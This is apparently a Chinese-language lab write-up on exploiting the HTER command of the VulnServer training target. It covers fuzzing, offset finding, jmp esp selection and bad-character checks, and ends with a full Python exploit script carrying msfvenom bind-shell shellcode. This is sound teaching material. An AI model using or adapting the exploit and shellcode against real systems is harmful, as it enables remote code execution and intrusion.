VulnServer-HTER

VulnServer 是一个用于学习和测试网络安全的漏洞测试环境。它是由Stephen Bradshaw创建的一个用于 Windows 系统的虚拟漏洞服务器。VulnServer 旨在提供一个包含多种常见漏洞的环境,供安全专业人员、渗透测试人员和学生进行实践和学习。

实验环境

  • 操作系统:Windows XP Professional & kali

  • 软件:VulnServer

  • 工具:Immunity Debugger 配合mona、科来、Python、Spike Fuzzer、MSF

实践目的和内容

  • 目的:掌握十六进制和Unicode 编码下的漏洞利用原理和方法。

  • 内容:针对漏洞服务器VulnServer 的HTER 命令,使用SpikeFuzz 进行漏洞挖掘、分析和利用。

漏洞描述

  • 远程栈缓冲区溢出漏洞。在这个命令中,攻击者可以通过发送特制的十六进制字符串,触发栈缓冲区溢出,通过覆盖函数调用栈上的关键数据,如返回地址,来控制程序的执行流程。

漏洞原理

  • VulnServer是一个用于学习和测试漏洞的模拟工具,它提供了一个教学和测试环境,以帮助研究人员理解在处理数据时可能出现的潜在问题。

  • 如果服务器端在接收十六进制数据时没有进行足够的输入验证,或者在分配缓冲区存储解码后的数据时没有正确计算数据的长度,就可能导致缓冲区溢出。攻击者可能通过构造特定的输入,触发这类问题,从而利用潜在的漏洞。

  • 这个项目主要是体现如果是十六进制编码储存到内存中,我们在定位EIP、检测坏字节和生成shellcode这些处理方式上会有所不同,但总体还是一个缓冲区溢出漏洞的利用思路

实践步骤

十六进制编码的漏洞利用

模糊测试,触发漏洞

  • 在XP系统上用Immunity Debugger附加运行VulnServer.exe,Kali上编写hter.spk并进行模糊测试

  • 同时在宿主机上编辑设置捕获过滤器

  • 可以看到程序崩溃,服务器没有响应,然后我们打开科来网络分析系统查看数据包。一个个查看找到最后一个服务器和客户端有交互的会话。因为连接上之后服务端就会发送一次欢迎信息,所以崩溃的那一次连接应该是最后一次服务端有发送信息的会话。查看最后一次响应的会话,果然如此,服务端在接受了客户端的一长串A字符之后崩溃了。

  • 复制客户端发送的信息用UltraEdit打开查看是2050个字符

POC验证,确定偏移量

  • 这里尝试将最后两个符号也换成A,然后写一个POC进行验证。 !

  • 对应的结果,验证了漏洞。而且可以看到EIP被我们输入的A全部覆盖了,说明这个漏洞存在利用的可能。由于此时ESP的值0x00BDFA0C指向的是我们覆盖的A后面一个空间,这样我们无法利用。所以我们考虑再增大输入测试一下,一般的shellcode为350~500字节,所以我们直接加到3000。

  • 程序崩溃,此时ESP指向的地址已经被我们输入的A完全覆盖,然后判断这里ESP后面可用空间大小为1D8,按说一般够用。为了保险,我这里测试了3500个A,看到有2D4也就是大概724个字节,完全足够。所以用3500个A,然后将shellcode放在ESP后面。

  • 接下来就是定位EIP的位置。这里要注意的是,EIP的显示不太正常,这里显示的是8个A,也就是把我们输入的十六进制数据显示出来。因此我们无法采用唯一字符串的方法来定位EIP,所以采用二分法。

  • 1700个A和1800个B时:可以看到EIP被B全部覆盖,说明A的数量少了。

  • 因为我们前面试过2050时,EIP会被A全部覆盖,所以这一次我们尝试1900个A。可以看到A还是少了

  • 那么再尝试2000个A和1500个B,看到还是少了,但是在逐渐逼近 !

  • 2025个A和1425个B时,少了

  • 2040个A和1460个B,差一点点: !

  • 2045个A和1455个B,发现四个A和四个B覆盖了EIP,就快找到了!:

  • 逐渐减少一个A,EIP就少一个A,所以偏移地址应该是B的开头,也就是2042到2049: !

  • poc = b'\x41' * 2041 + b'\x42' * 8 + b'\x43' * (3000 - 2041 - 8) 验证,刚好2042到2049被8个B精准覆盖(因为这里十六进制直接显示所以是8个字节),而且ESP指向的就是C的位置所以我们后面就可以找跳转指令的地址覆盖2042到2049,然后把shellcode放在C区域:

寻找jmp esp

  • !mona jmp -r esp查找可用的jmp指令

  • 查看mona生成的jmp.txt,看到前面几个jmp显示的都是False,而且是程序自己的dll,应该会运行。所以随便选一个,我这里选最后一个0x625011F7。由于HTER会在内存里面十六进制编码,所以我们直接写入,又因为是高位在后低位在前,所以要写0xF7115062

  • 在immunity debugger中加断点,运行上面脚本,程序会在断点0x625011F7处截断。EIP被覆盖为0x625011F7esp指向C区域,所以下一步应该就会跳转到C区域执行。验证一下,F8单步运行,结果如我们所料

寻找坏字符badchar

  • 接下来寻找坏字节,确保我们的shellcode能“正确”运行,因为00一般都会截断,我们直接从01开始。(从01到ff一共255个,是一个内存单元一般能表示的所有值)。将badchar加到poc里面执行。immuDebugger检查坏字节。可以看出只有00会被截断,因此我们要在生成的shellcode里面排除00

构造shellcode

  • 用msfvenom生成shellcode如下,该shellcode作用是生成一个4444端口的等待连接的TCP连接。

  • 放到脚本里运行验证,连接成功!

  • 最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import socket

jmpesp = b'F7115062'
shellcode = "bf83927abcd9c2d97424f45a31c9b153317a12037a1283696e98499167dfb26978803b8c498058c5fa302a8bf6bb7e3f8cce56302564817fb6d5f11e342426c005e73b01411ab1531a5064432f2cb5e863a0bd0d33c3ec804f9a2e238396663bc09331b0326fc0100b906f5da363719a049c04d276211f2104fdaab1ae760c1d4e5acbd65c179fb040a64ccb7d23731bf47750bf5c23f9e6388206f8e27ba3730e6fdede475cd3e097ca6493a555df3b861ef9bce934bd5214b7be7bd3e3ee13f28b64e3fb5910eb5a3207161ce287b8f5e807e7e612c2808feeedbf13660bd5bb2e83417e151cf6817f3490ca69839fcabfa33741ac772656f9df3fc1778e7273879be4101a40f45f07dfa308f91621a5a080573434ead3e385f5da66b1d1ccbe3a5eb86e6d0816c9c7fac083b4548452f766d25ad2103aea8b6445c35b613e39fc8e95f91c6d3ff4b428aab5d8ca01f9e448a3821250c6875fd63bfaf0b33ba9f191"

poc = b'\x41' * 2041 + jmpesp + b'90' * 8 + shellcode.encode('Latin-1') + b'90' * 8 + b'\x43' * (3500 - 2041 - 8 * 3 - len(shellcode))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.242.133', 9999))
msg1 = s.recv(1024)
print(poc)
print(msg1)
s.send(b'HTER ' + poc + b'/r/n')
// 这里的“HTER ”中一定要有空格,不然服务器会出现10052的接收数据错误。

VulnServer-HTER
http://example.com/2024/02/01/VulnServer-HTER/
作者
8a1dr
发布于
2024年2月1日
许可协议